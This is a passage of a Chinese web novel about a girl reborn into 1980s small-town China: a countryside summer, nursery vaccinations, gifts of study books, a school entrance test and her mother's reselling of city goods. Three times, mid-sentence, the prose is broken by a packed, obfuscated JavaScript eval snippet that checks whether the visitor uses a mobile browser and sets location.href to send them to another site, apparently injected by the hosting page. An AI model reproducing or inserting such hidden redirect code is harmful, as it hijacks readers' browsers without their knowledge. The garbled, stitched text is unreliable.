“没事，太阳大，一会就干了。”jiajia对着仨小孩大喝：“hei，不要玩水啦，快晒晒干，不然你家奶奶要骂的oi。” 奶奶的威慑力还是比较大的，仨小孩马上停手，三人一狗站在一起甩头。大黄走到马丽丽身边舔了舔她的手，马丽丽摸了它的头，湿湿凉凉的，果然凉快。 马冬剑抓了抓自己湿掉的衣服，跑到jiajia旁边问她：“哥哥去哪啦？” “玩去嘞。”别看jiajia年轻，她已经有两个儿子了，还都比马冬剑年龄大，大热天到处跑着玩，jiajia也不担心，农村的男孩子哪个不是这么长大的？ “要不要喝水？”jiajia问。 马丽丽伸头看了看堂屋，这里的房子大同小异，都是中间一个大堂屋两边四个房间，上面隔开阁楼，不过jiajia家的屋子上头没有铺板，所以能直直看到屋顶瓦片，这也就意味着她家堂屋没有挂电灯，两个煤油灯放在供桌上也就不奇怪了。 供桌前头的墙壁上，挂着领袖的画像，这可真是……很有时代气息呀，没有电视、收音机和长竹凳，只有一张方桌和吃饭的条凳，堂屋显得很空旷。桌上放着一个大瓷壶和一个粗瓷碗。 先别说这么多人就用一个碗喝水，这水还不一定是烧开过的，很可能就是直接从井里打的，沉淀后灌在壶里的。 马丽丽摇头，“我不喝，不渴。” jiajia也不再理会，继续编她的草鞋。过了一会儿，几个小孩都觉得无聊，便对jiajia挥手再见，向着其他地方跑去玩，直到衣服干了才回家，自然又是一身泥，挨骂是少不了的。 不知不觉马丽丽在奶奶家已经呆了十几天了，她的日子过得十分充实。 29.第二十九章 每天早上马丽丽是全家醒的最早的一个，她一身汗的在蚊帐中醒来，先在尿盆里嘘嘘，然后用前一天晚上端上来的大搪瓷杯灌一肚子水，又端着空杯子？走过“嘎吱嘎吱”的木板地板和楼梯从阁楼下来。 在证明了自己能一个人睡之后，马丽丽得以不用跟叔叔一家挤一张床。 没有电灯，堂屋伸手不见五指，只有大门附近漏出些许微光，不过门栓又重又高，马丽丽是搞不动的。没关系，她早就熟悉路线了，摸黑把杯子放在桌上，再走几步就是电视柜，电视柜上面放着黑白电视，下面就是一个巨大的老式收音机。 别看这笨重的收音机早就过时了，但却可以收到国外频道，马丽丽扭开开关，熟练的调整角度，调到约翰牛的BBC，那边还是晚间节目，正在放耳熟能详的摇滚歌，过了一会儿就是晚间新闻，这是马丽丽正在等的节目。 主持人说话语速很快，马丽丽全神贯注，她最近才发现，原来有名的切尔诺贝利事件竟然是今年发生的，虽然离事情发生已经过去了几个月，但后续却没有完结，整个欧洲依然都十分关注，再加上未来过小日子的脚盆鸡排污事件，原来80后生存的最大危机竟然是核危机！ 新闻时间并不长，也就半个小时，当收音机里又开始播放音乐时，马丽丽关掉机子去厨房洗漱。 大人们都起了床，婶婶们是最早出来的，她们打开大门，喂鸡的喂鸡，洗尿盆的洗尿盆，烧火的烧火。得做了一样事之后，她们才会开始刷牙洗脸，倒是几个叔叔起床第一件事就是狂奔抢纸去旁边行小山上上茅房（茅房在小山上的菜地旁边）。 通常老dia洗漱完马丽丽就正好来刷牙，他会一边问马丽丽国外最近都有啥新鲜事一边帮马丽丽挤好牙膏倒好水，然后站在旁边等马丽丽刷完，再给她拧毛巾洗脸。 等其他孩子都起来之后，那才是鸡飞狗跳，马丽丽可帮不上忙，她能做的就是远离战场，不添乱，所以她拿着早课跑到大屋旁边的空地，对着山壁上一棵小草开始大声朗读。 上午的早课结束，吃完饭就是玩儿啦！ 乡下孩子游戏有限，但能玩的东西却是无限的，尤其是两个在读小学的表哥也被送来之后，六个小孩子外加一条狗已经是比较大的小团伙了，他们撩猫追鸡，收服小弟，钓青蛙捉萤火虫，每天不是一身水就是一身泥。 中午男孩子们挨完打之后，不上班的大人带着小孩一起吃饭。没有挑食，也没有吃不下，整整六个小孩呢，四边形的桌子差点就坐不下，菜都得靠抢的才能吃上，个个筷子勺子轮到飞起，吃完饭的碗大黄见了都无语。 吃完饭一点多钟其他孩子都被赶出了堂屋，马丽丽打开收音机收听老毛子的广播。 别看苏国过几年就解体了，但这时人民的生活还是挺歌舞升平的，事实上几十年后再回想也依然会惊讶于老毛子的各种免费社会福利。 听完广播又是午睡，起来后干家务，小孩子又是玩，五点半准点看电视，吃了晚饭趁着晒的水还没有完全冷，洗了澡便乘凉准备睡觉了。 没办法，硬性条件问题，30度的电灯泡发出的昏黄色的光，比蜡烛好一点地方大概就是比较稳定，但想看书什么的是不行的。 虽然日子过得像流水一样，但小孩子们却能玩出花来，即使因为太热呆在家里，也总有不一样的游戏，什么抓着金龟子用线栓着飞啦，抓螳螂抓毛毛虫啦，在沟里捞蝌蚪啦，玩花绳啦，找能抽出茎的草啦，把芭蕉叶撕成一条一条的啦。 马丽丽觉的无聊，教了些新游戏带着兄弟姐妹们了，跳房子、折纸、搓纸条做手木仓、挑小竹棍，甚至教大家唱外囯歌。 大人们突然间发现家里几个小朋友经常唱起一首奇怪的歌，其中“Moskau moskau，Liebe schmeckt wie Kaviar，M?dchen sind zum kussen da，Ho ho ho ho ho hey”这句着实魔性，才一天的功夫，几个大人脑子里就全是“Ho ho ho ho ho hey”。 当然也有一些在挨打边缘横跳的玩意儿，比如抓着青蛙放在蚊帐里想让它吃蚊子，在山脚挖出泥来搓泥丸，在饭桌上玩毛毛虫赛跑，用锅灰给大黄染色…… 没事，挨完打又是一条好汉！ 这种生活过起来真是不知日月呀，等老爸来接马丽丽的时候，她才意识到托儿所貌似好像并不放暑假，所以这是爸爸妈妈给她放了个暑假？ 回到幸福小镇，这里的一切依旧，一点都没有变，马丽丽感觉时间好像过去了很久，又好像她没有离开似的。 孙振华的检查让马丽丽迅速回神，什么美好童年，挨打和作业一个都不能少……话说她在奶奶家时好像没见过表哥写作业呢。 接下来时间过得飞快，呼的一下就开学了，不久后在通知中，爸爸把墙上的钟摘下，不熟练的将夏令时改回来。 秋天的第一件事不是喝奶茶，而是打针。 生为小朋友，我很抱歉。 今天托儿所来了几个医务所的护士，老师们也不上课了，组织小朋友们在空地上排起了队。 孩子们一脸懵逼，还在因为今天的不一样而叽叽喳喳，马丽丽却很认真的扭头问正在维持纪律的老师：“老师，打完针的就可以先回家了吗？” “不可以！”老师快速回答，然后又赶紧提醒大家，“打完针的小朋友不可以到处乱跑，可以先回教室去玩。” 排在前面的小朋友开始嚎啕大哭，说明已经开始了，后面的小朋友还不知道发生了什么事，全都好奇的伸长了脖子。 马丽丽揪着眉暗搓搓向前插队，呆会现场肯定会哭声一片，她还是先打先跑吧。 在马丽丽的努力下，很快就轮到她了，前排有两个护士坐在小板凳上，旁边还各放着一个小板凳，腰子形的铝盒装着酒精，里面泡着三五个针头。 针头都不是一次性的，护士每打完一针，就用小镊子把针头拔下来扔在盒子里消毒，又用小镊子夹起另一个针头插在针管上。一个针管每次都会先吸取可以打两三个孩子的药量，后面一个护士就负责开药瓶和递棉签。 打针的护士嘴里不停的念叨着：“很快的，一下就好，哎呦，好勇敢的小朋友，好啦好啦，马上好啦，结束了哈。”手起针落，一下一个小朋友。 每个小朋友都是懵逼着被老师手动叉腰撸袖子，一针下去，表情从茫然到痛哭面具，三秒钟后一根棉签压在了针眼上，老师又手动把小朋友另一只手抓起来让按着棉签。 小朋友一边哭一边按着棉签被拉出了队伍塞给旁边的老师，其他老师会帮着继续按压棉签，估计差不多止血了才把小朋友放走。 趁着哭的人还不多，马丽丽赶紧打完，也不用老师帮忙，大叫着“我自己会按压止血”快速的跑走了。果然不一会儿，随着打完针的越来越多，很多小朋友也不走，就站在一旁继续嚎啕大哭，没办法离开的护士和老师们都享受了一把3D环绕立体声。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15052215|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >好不容易打完了，护士们迅速收拾东西，跟老师客套几句就离开了，这背影怎么都有股子落荒而逃的味道。 中秋到了，然而并不放假，不过可以提早放学。马丽丽没等姥姥来接她，自己就从托儿所跑了回来，把姥姥吓了一跳。 “你怎么自己回来？” “放学了呀。”见小姨在看电视，马丽丽立刻搬了张凳子坐旁边，还不忘回头跟姥姥说：“姥姥，我要吃桔子。” 见马丽丽要剥桔子，徐明红也说：“给我剥一个。” “好咧。” 吃桔子马丽丽可是行家，她挨个捏了捏，选了个扁扁的桔子，红黄相间，皮薄有弹性，就它了。 马丽丽力小，她先叫小姨帮她在桔子肚脐上抠了个小洞，慢慢把皮剥开，又仔细的把白络都撕干净。 “看！”她把剥好的桔子举给徐明红看，“干净吧？一点没破。” “不错啊，厉害厉害。”徐明红说着一把拿过桔子整个塞进嘴里，一口咬下去汁水充裕的从嘴角流下来。 马丽丽：“……” 马丽丽叫起来：“你怎么自己一口吃啦！” 徐明红一伸脖子把甜美的桔子咽下去，“啊？你这不是给我剥的吗？” 马丽丽：“不是啦，才不是好不好。” 算了，反正还有，马丽丽气哼哼的又挑了一个桔子剥了起来，她慢慢的把白络都撕干净，这回有点破皮了，桔子水弄在了手上，她把桔子放在桔子皮上准备去擦擦手。 马丽丽一走，徐明红又故技重施拿起桔子一整个塞进嘴里用力一咬，“噗……”她差点没酸倒牙，可是不浪费食物的本性让她硬梗着脖子把桔子给咽下去，只觉得噎得不行，满嘴还不停分泌口水。 “你又偷我桔子。”马丽丽慢悠悠从厨房出来。 徐明红夸张的做了一个吞咽的动作，这才开口：“我的妈啊，这个桔子酸死了，你怎么挑了这么一个酸的啊，我牙都倒了。” 马丽丽忍着笑说：“肯定不会全是甜的啊，总会有酸的，谁叫你拿我剥好的桔子吃。” 徐明红忍了半天没忍住，跑去厨房喝水，马丽丽捂着嘴笑得不行。 秋天的南方是柑橘柚子成熟的时候，可惜少了螃蟹，却总是觉得缺了点什么。好在桔子管够，马丽丽每年都要把自己吃成个小黄人。 柑橙和柚子能保存更久，它们都用纸一个一个包好，放在纸箱里或是竹篓里，可以一直放到过年。 这个年过得有些惨淡，孙振华的儿子约到了医生，徐正义和孙振华都去粤市做复查了，徐家四兄妹有三个不是在学校上班就是在学校上课，这会子都是放寒假。 徐明惠和徐高远自然都要跟着去粤市的，徐明惠觉得他俩去就够了，但是徐明红也非要跟去，她还没觉得父亲生病是什么了不得的大事，只想出去见见世面。虽然高远不耐烦自己小妹这么拎不清，但是徐明惠却同意了。 只有老大徐冬来在厂里头上班没什么寒假，三兄妹让他干脆别去了，反正人手也够，多了反而不好住，再说过年丈夫儿女一个都不在身边，孙梅这个年也过不好，徐冬来想想也是。 最想一起去的马丽丽刚起了个话头就被打下来了，又不是去玩的，徐明红一个14岁的女娃还能帮着搭把手，她一个四岁小屁孩去了就纯属添乱。 徐明惠还哄她：“我们都走了姥姥一个人在家过年怎么过啊？你可不得陪着姥姥？” 马丽丽：“……”话是没错啦，算了。 30.第三十章 一个人在家是孤单了点，但是也终于能好好休息一下了，孙梅做了一堆包子馒头，平时就点咸菜吃。这玩意儿哪能老吃？马丽丽可不让，她总是缠着姥姥炒点新鲜菜。 冬天菜地也没歇，孙梅扒拉了些枯枝烂叶烧成灰撒在地里之后，密密的撒了些青菜萝卜的种子，这些菜长不大，但苗也能炒盘菜，马丽丽就爱吃这个，孙梅自然是愿意做的。 在马丽丽不去托儿所的时候，孙梅会和她一起到处溜达。住宅区多是山坡或是台阶路，孙梅找了根长棍包上布条，和马丽丽手牵手到处走。虽然冬日冷冽又有风，可是两人却总能找到不一样的乐趣，轻松又悠闲。 马丽丽以前都不知道原来电厂还有这么多宝藏人。 住在“东方红”宿舍的退伍兵不但会打军体拳，还会用棍子当刺刀练动作。 河边带院小平房两隔壁的两位退休干部，上班的时候不怎么对付，退休后经常隔着院子唱京剧，每到这时候，另一个院子的老婆婆就坐在门口抽着烟听，有时候还大声喊着点折子，不过她一点“曲”，唱京剧的两位就同时闭了嘴。 这位爱抽烟的老婆婆好似也不是普通人，她的丈夫是附近有名的好人缘，不管是老人还是小孩见到他都愿意说两句。可是她经常一脸“冷艳高贵”的坐在大门口看着人来人往，有时抽着香烟，有时带着长烟嘴，有时抱着个竹筒做的水烟，很少与人打招呼。 整个电厂会抽烟的女人不超过三个，像她这般坐在门口抽的还真没有，小孩子都有些怕她，路过她家时常常快速跑过去，她也并不在意。 有时候马丽丽会有种割裂感，这么慢悠悠的咸鱼生活仿佛不太真实，只有学习废脑子的时候才感觉回到现实。 这个年过得非常特别，爸爸除夕那天坐车去奶奶家了，但是马丽丽却一个人留在家里陪姥姥过年，妈妈则和小姨小舅舅与姥爷在粤市。 虽然只有两个人，但马丽丽和姥姥的仪式一个都没有少，穿新衣新鞋，包饺子，贴红纸，包括吃饭前必须点的爆竹，姥姥甚至还买了几支香偷偷点了一点。 年初三的时候所有人都坐着电厂的交通车回来了，孙振华的儿子孙伟名也陪同回来。 两个病号年纪大了，一回来就躺下了，田文珠也是累得不行，姥姥忙前忙后，又是生火盆又是做饭菜又是烧水，都是双份，还让儿子带孙伟名去澡堂洗头洗澡。 马丽丽围观姥姥给姥爷擦身子，她第一次看到姥爷肚子上的伤口，在技术还不成熟的年代做这种大手术可真是遭了大罪了，尤其是他们还住在交通不便的地方。 客厅里，徐高远正在给看病历的姐夫描述，“医生说像老爷子这种情况，原本做了手术三五个月就得去复查一次，这么远也没办法啊，不过我拿章市的复查单给医生看下，他说有的项目小城市是没法做的，还是要到他们那去复查。好在检查说恢复的还不错，也没有复发的迹象。唉，不过也只能养着了。”他停了停，降了降声音，“隔壁老爷子情况也还行，但是得一直吃药，具体我就不清楚了。 马天华没有确诊和治疗这种重大疾病的经验，但……对着书看病历还是没有问题的，主要是能解释一下术语，他翻看完，心里有了数，“血压还是有点高，还有这里，这个数值，高了，那边医生开了什么药吗？” “有。”徐高远拿出一大袋子药，马天华仔细看了每一种药盒上的说明，又问了医嘱，“还是保养护肝和降压的，还有抗癌抗病毒的，看来还要继续吃这个还有这个……”林林总总一大堆。 隔壁更多，孙伟名生怕小镇买药不方便，在粤市就尽可能多的买了药。 徐高远不由咂舌，“都一年了还要继续吃这么多，看他之前都是吃药都吃饱了的。” 马天华叹了口气，“有些药可能要一直吃，毕竟这么大个病。” 过了两天，病号都缓过了气，马丽丽终于可以去隔壁探病了，然而她还没有表达自己的慰问之情就先被考糊了。 啊，就，怎么说呢，跟姥姥溜达太开心，电视又太好看，她功课都只做了基础的，还好每天广播和朗读没断过。 话说装了闭路电视后电视能收到很多台了呢，有一个台竟然在放《来自大西洋底的人》，你别说，很多设定还真的很有意思……呃，这可真是太糟糕了。 这不是第一次了，马丽丽觉得很惭愧，毕竟她又不是真·四岁小朋友，竟然还忍不住偷懒，想到曾经的躺平之后的结果，她心头又有些焦虑。 道理都懂，可是要克制天性真是太难了。 孙振华倒不觉得有什么，四岁的小朋友有几个能做像马丽丽这样的？尤其是在粤市围观了自家孙女读书的情形，那叫一个费劲。 不过他还是得说两句。 “马丽丽小同学，我以前说过啦，学习这种事不可以偷懒，台上一分钟台下十年功，咳咳，你很聪明，可不要浪费了这份聪明，知道吗？” “知道了。”马丽丽老实认错。 “行，知道就好。” 啊？就这样？马丽丽惊讶。 不然呢？小孩子不就爱玩了点，又有什么错呢？孙振华不以为然，他年纪大了身体又不好，不喜欢跟小朋友闹不愉快。 “我有点东西要送给你。”孙振华结束了这个话题，说起另一件事。 “这么巧，我也有。”马丽丽露出一个小得意的表情。 “哦？你有什么要给我的？”孙振华稀奇的问。 “当当，看这个。”马丽丽递出一块淡蓝色的方布，孙振华拿到手才发现这应该是一块手绢，跟店里现在常见的薄布手绢不同，这块要略厚略大一些，应该是用布自己做的。没有时下流行的印花图，就是简单一块蓝布，四周用缝纫机封了边，但是在一角绣了棵树，看造型应该是迎客松，徐家的沙发布上就是这个，松树下还简单绣了个山的几何形，再下面用白线绣了一个小小的“孙”字。 孙振华假装挑剔的看了又看，这才折起来，“挺好看的，这是你做的吗？” “对的对的。”马丽丽就等这句了，“姥姥剪的布帮我车的边，但是是我自己画的线，也是我自己绣哒。” 孙振华当着马丽丽的面把手绢放进口袋，表示自己会用，又好奇的问：“你给姥爷绣的也是迎客松吗？” 马丽丽：“……”这算是老头子奇怪的胜负欲吗？她用略敷衍的口气回答：“在做了在做了，花很难绣的。”然后她还真的在孙老头眼睛里看出了满意的情绪。 马丽丽：小说诚不欺我，眼睛真的会泄露秘密的呢。 “好啦，我也有东西要给你。”孙振华起身从房间里吃力的提了一个包，对，就是提了一个旅行包出来，“喏，这是我在粤市买的书，唉，我们这小地方，买个东西也是不齐全。” 马丽丽一头问号，打开包一看，我了个去，全是书。 马丽丽：“……” 顺手拿出上面一本厚厚的绿壳书，是一本《大俄汉词典》，翻翻下面的，都是些学习资料，还有几盒磁带和两本故事书。 “都是给我的？”马丽丽惊讶的问，这礼物可太贵了，不光是钱的问题，在后世看来很普通的学习资料，现在很多地方都买不到。 知识就是金钱，知识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056877|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比黄金还珍贵，有时候就是字面意思。 “我留着还能干嘛？以前也没啥好书本能用来教你的，总拿我那些机械资料学也不是个事儿。这回我可终于想起来买点书了，这年纪大了就是记性不好。”孙振华说着感叹起来了，“你拿回去，先好好研究研究，之后咱们拿这个学，一起学习。” “那谢谢孙爷爷了。”马丽丽笑得后槽牙都露出来了。 马丽丽重新忙着学习的时候，妈妈徐明惠也没闲着。她这回有了经验，从粤市弄了好几大包东西回来，徐高远和徐明红都没空着手，回来时一起肩挑手扛的。 又贵又重又容易坏的烟、酒、糖、化妆品、一些书笔和一块手表都是几人千里迢迢从粤市拎回来的。还有什么皮带、小首饰发饰、最流行的衣服裤子、新毛线、便宜的雪花膏、磁带、杂志、钢笔……都从邮局包了一个大包寄回来，反正都是本地没有外头流行又量大便宜的东西。 在单位上班的都瞧不上做生意的，徐高远和徐明红觉得丢脸，但徐明惠不觉得，这又不是做生意，她只是帮人家“带”了点东西，代购不是生意，是人情。 不当家不知柴米贵。 结婚前徐明惠和马天华都没啥存款，这回是豁出面子借了大几百块钱，他俩口子一年工资合起来六百多，省吃俭用就算能存两百块，也得三五年才能还清。 这还只有他们小两口借的，徐家借的更多。 可是上回随手带回的那些小玩意儿，光现金就卖了小一百，这还没算上鸡蛋，你说，徐明惠能不上心吗？这回她偷偷又借了点钱，整了一大批回来。 赚钱还债，不寒碜。 一开始知道的人并不多，也确实有人在徐明惠他们去粤市之前就找她帮忙带东西的，而且来都来了，来拿东西的人自然也看了徐明惠带回来的新东西。 这什么皮带男人女人不都得用？什么永芳雅芳郁美净，不擦脸脸上那不是干巴吗？什么毛线，这毛线多难买啊，比纱线打的毛衣不穿着舒服？至于那些个小玩意，那不是顺带拿两件么？都是数量有限，别人有自己没用那多没脸。 之后更是有不少“无意”中知道徐明惠买了好东西回来的女人们，都上门来找她聊天了。 才过了一个月，徐明惠带回来的东西就少了大半。 厂里的领导给了面子帮了忙，自然要送些礼，烟酒糖在推搡间放在了领导们的饭桌上。 那块手表也悄悄在戴在了厂长女儿的手上，当然这不是徐明惠送的，小地方牌子表有钱也买不到，她送着实显眼了点，徐明惠也就是赚了点“小小”的路费，也够让她偷乐了半天了。 女人们发型变得多样了起来，脸上也有了些变化，甚至到夏天的时候，幸福小镇的不少女人悄没声息的穿上了之前没见过的新裙子新衣服。 至于徐明惠，带爸爸去看病不仅帮人买东西，还带了这么多新花样，大家都觉得她是个时髦有品味又好心的人。剩下小零碎商品自然又是孙梅出马带去墟上“换鸡蛋”，大家都特能理解，还好心帮她换了不少嘞。 这一年过得平淡又似乎有不少变化，但还上的债让大家都感觉压力小了许多。 就在马丽丽六岁那年的春天，姥姥孙梅做了一个梦。 那天正好是孙梅的生日，本来与平时没什么不同，但是晚上睡着后，孙梅突然梦到了年少时村子里的小院子，已经去世的父母正在院子里的菜地，一个在浇水，一个在摘菜。变年轻不少的兄弟姐妹几个都在一旁，有的在帮忙，有的在捣乱。孙梅正上前，父母却问起了她的儿女和孙辈。 孙梅：……！ 31.第三十一章 醒来后孙梅悄悄跟大女儿说起这件事儿，当然，她这不是搞封建迷信，只是四个儿女，三个大的都回过鲁省老家，大儿子还是在老家生的，就小女儿徐明红没有回去过，两个孙辈就更不用说了。 孙梅跟徐明惠商量着是不是趁着暑假带徐明红和马丽丽回一趟老家看看亲戚，之前是马丽丽年纪还小，今年她也六岁了，而且徐明红也正好中考完，算是去旅游玩一玩。 徐明惠觉得这个主意不错，尤其是现在经济压力小了不少，还是能放松一下的。 等到入夏后，徐明惠先写了封信给老家大姨，说自己要带小红和丽丽暑假回老家的事，从鲁省回来可以从首都转火车，还能顺便在那里玩两天，为了以防万一，徐明惠还去开了介绍信。 而且反正去都去了，回来的时候徐明惠还准备再到沪市去看看马天华那边的亲戚。 马家几代前原本还是沪市在大户人家，到了老dia的爷爷那辈只是守成，可惜老dia的父亲是个纨绔子弟，加上战争，家业一下子就败落了，甚至老dia都流落到了章省。不过他还有个哥哥在沪市，这回去就是去看看他家。徐明惠还专门回游江镇说了这事儿，老dia也顺便托她带封信去。 万事俱备，就等中考完放假。 幸福小镇的子弟学校不具备中考资质，所有初三生都要到游江镇中学去考试。 游江中学是县重点，这里有更多的教学楼，更多的宿舍，更大的操场和食堂，甚至还有一个开满荷花的池塘。新环境令所有来考试的幸福小镇子弟学校学生感到新奇。 大多数子弟学校教学从小学到高中，学生大多是两厂子弟，又是独生子女，只要拿到高中文凭，等老爸老妈一个退休了就能顶班，所以大多数学生并没有什么学习压力，当然，这种学生也可以统称为：学渣。 相对的另一种学霸学生，他们的目标就是大学大专中专。 学霸和学渣之间不管是想法还是成绩都如同隔了一条长江这么宽，想从学渣跨越到学霸身份的徐明红，就如同横跨了长江呀。 自从被忽悠要考中专之后，徐明红就过了上水深火热的生活，好不容易抓到她松口的徐高远可不允许她退缩，大姐和自己都是数学老师，小妹却老是考试不及格这叫什么事儿？ 再加上始作俑者马丽丽不时刺激刺激徐明红，什么厂长的女儿又搞特殊啦，什么主任家经常有肉有糖吃啦，什么努力一把做个显眼包啦，什么考试套路一套套啦，什么你才努力考个中专你看谁谁目标可是大学啦…… 徐明红：什么套路都比不过马丽丽的套路！ 别小看中专，现在中专也不是这么好考的，学生福利也很好，很多中专都是定项培养专业人才，比如电校、卫校、师专（师范）、林校、财校……那可是学习好的才能考得上，很多公办的中专不但免学费，包分配，甚至上学还有补贴，毕业就是铁饭碗。 徐明红要考的学校是电校，不过她早就没空想这个，徐明惠从几年前的录取分数中估了一个分，她只需要向这个分努力就行。 果然是：分分分，学生的命根。 从考场出来徐明红只想大喊“万岁！”等她知道能出去玩的时候，还真跳起来大喊了一声“万岁！” 马丽丽心情一言难尽，她都差点把这事儿完全忘光了，唉，为了小姨考上中专她可付出太多了，八辈子没想过的考试要点和套路都给她想出来了，她感觉自己都自学成才了还想法子激励小姨，这都是为了谁啊？哦，是她自己想试试努力能不能改变历史，好的那没事了是她活该。 在学校放暑假前的一天，马丽丽被妈妈徐明惠带去学校小学部，这里已经聚集了不少家长，有电厂的也有林场的，家长们的身边都带着自己家的小朋友，站在小学部老师办公室门前等待着什么。 “马丽丽！” “朱莉莉？” “京京。” “丽萍姐，我在这里。” “海燕，你也来啦？” 马丽丽发现来的小朋友很多都是跟她差不多大的，有一些是托儿所的同学，有一些是在电厂，但没上托儿所的，还有一些是林场的。 一会儿三个老师从一个教室里走出来，一个瘦瘦的女老师对大家说：“好了，准备好了，大家可以进去了。”家长们闻言，纷纷牵着自家小朋友向那个教室走去。 马丽丽悄悄问徐明惠：“妈，让我干嘛去啊？” 徐明惠轻松的说：“去做做题，没事，按老师说的做就行。”说着徐明惠还拿出一支削好的铅笔塞给马丽丽：“拿着，等下做题目用这个。” 马丽丽拿着笔一头雾水跟着进了教室，教室里是一排一排迷你的木头桌子，都是双人桌和条凳。大家闹哄哄的进来后，在老师的安排下，每张桌子后都坐上了一个小朋友，然后家长便开始撤出教室。 “妈，妈你去哪？”一个马丽丽不认识的小朋友一见他妈妈离开就开始大叫起来，他跳下凳子跟着就要走，不管怎么哄都没用，在他要开始大哭的时候，他妈妈一把捂住他的嘴，对老师连连道歉，“对不起对不起，老师，我家儿子估计是不行了，还是算了吧。” “没事没事。”老师也安慰她：“不行就还是明年来吧，大一岁就好了。” “唉，是是是，对不起了。” 其他小朋友大概是之前安慰/恐吓/解释过了，而且家长们这会儿都挤在门口，抬头就能看见，所以大家都老老实实的坐在凳子上，没有出什么幺蛾子。 又等了一会儿，站在讲台上的老师开始发话：“各位小朋友们，大家请坐好，等下老师呢要开始给大家发一张卷子，大家有会做的就写一下，不会也没关系哈，但是呢，大家一定要等到老师们来收卷子才可以离开，要一直坐在这里不能走动哦，大家听明白了吗？不管有没有写完大家都不可以离开座位，不可以说话，有问题可以举手问老师，如果听明白了就回答一下老师，说听明白了。” 坐在这里的小朋友大部分都是电厂或是林场托儿所大班的，基本都能理解老师的话，大家陆陆续续大声说：“听~明~白~了~”，于是另两个老师就开始发卷子。 教室的桌子一共有五排四列，小朋友们坐得非常分散，反正都够不着别的小朋友。 发卷子的时候台上的老师又开始提醒：“卷子有两面，大家写完要翻过来看一下，不要忘记后面的题目了。”她话没说完，下面就有一个小朋友大声说：“老师~我的笔~断了啊~” “等一下，老师来帮你。”台上的老师拿着小刀走过来，发现这位小朋友的家长还是个有准备的，桌上有三支笔，于是她说：“这里还有，你先用其他笔，老师帮你削这支。” 这时其他小朋友也纷纷发声。 “老师我的笔也断了~” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15060733|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “老师我的手黑黑了~” “老师我不废写~” “老师帮我抓痒。” 老师：“……” 站在门口的一个男家长突然大吼：“你小子再给我捣乱，回家看我不揍你！” 好的，这下所有小朋友都没问题了，大家全都闭上了嘴开始看卷子。 在其他小朋友哇哇叫的时候，马丽丽一分钟翻看完了卷子。 卷子是油墨印刷的，一不小心就摸得手黑黑，一张卷子上正面是语文，反面是数学，题目出的还挺循序渐进的，但那也架不住简单呀。 语文就十道题，第一题就是写名字，这也算是一题了，后面九题差不多也是写出一些拼音和文字，让大家在后面模仿着写。 马丽丽：这都是什么弱智题啊？ 翻过来看看数学，呃，也好不到哪去，数学倒是多了一些，但也就是十以内的加减法而已。 因为小朋友们都还是一群文盲，老师，别在讲台上开始讲解题目是什么内容的，该怎么做。 老师讲解时觉得有些新奇有趣，可是等老师说：“大家开始自己写吧。” 之后，时间就变得枯燥无味起来。 马丽丽这会其实已经想起来了，这个考试当年她就参加过。 虽然国家规定要七岁才能上小学一年级，但这会儿管得不是很严格，不到七岁也能入学，甚至一年级读了一半发现适应不了的还有退回托儿所的，或是二三年级跟不上留级的。 子弟学校今年希望读一年级的小朋友人数有些尴尬，分一班吧人数太多，分成两个班呢人又少了些，再加上老师数量等问题，所以学校研究后干脆搞了一个入学考试。 所以说80后总是跟别人不一样。 马丽丽已经不记得自己上一回是怎么考的了，反正她是过了，所以能提前一年做小学生，她花了几秒钟把题目写完，开始张望其他人都在干什么。跟她一样看来看去的小朋友还有几个，看来大家都十分新奇，甚至还有跟门口家长挥手的，在老师的催促下，小朋友们才开始看向卷子。 马丽丽十分无聊，能坐得住大概也是一个考核内容，于是她撑着头用自己名字写立体字，就是那种“用黑色的笔写出白色的字”的方法，一个老师走过她身边扫了一眼，竟然津津有味的看着她写完了。 这位老师姓张，自然也是认识马丽丽的，她觉得马丽丽还挺有意思的，这名字写的还有点考验空间想象能力，搞不好是个学数学的好苗子。 越考到后面，坐不住的小朋友越多，最后在坐满了四十五分钟后，老师终于宣布考试结束。除了一个憋不住要上厕所的小孩，其他小朋友大都坚持了下来。 马丽丽跟着徐明惠回家的时候忍不住问妈妈：“妈，我能不能跳级啊？” 徐明惠也没多想，“跳级？你跳级干嘛呀？跟其他小朋友一起好好念书，别还没上学就想着跳级，哦，觉着一年级简单了？我跟你说，小时候没打好基础以后可容易跟不上，barbarbar……”把马丽丽念到头疼，只好先放弃这个念头。 转眼到了出发的日子，徐明红和马丽丽被迅速打包，现在出行都非常简单，带两套备用衣服和牙刷毛巾就好。 在马丽丽的强烈要求下，徐明惠买了一个桔子罐头带着路上吃。 天气热，带吃的容易坏，不过没关系，这一点古代人早就做过示范了。 32.第三十二章 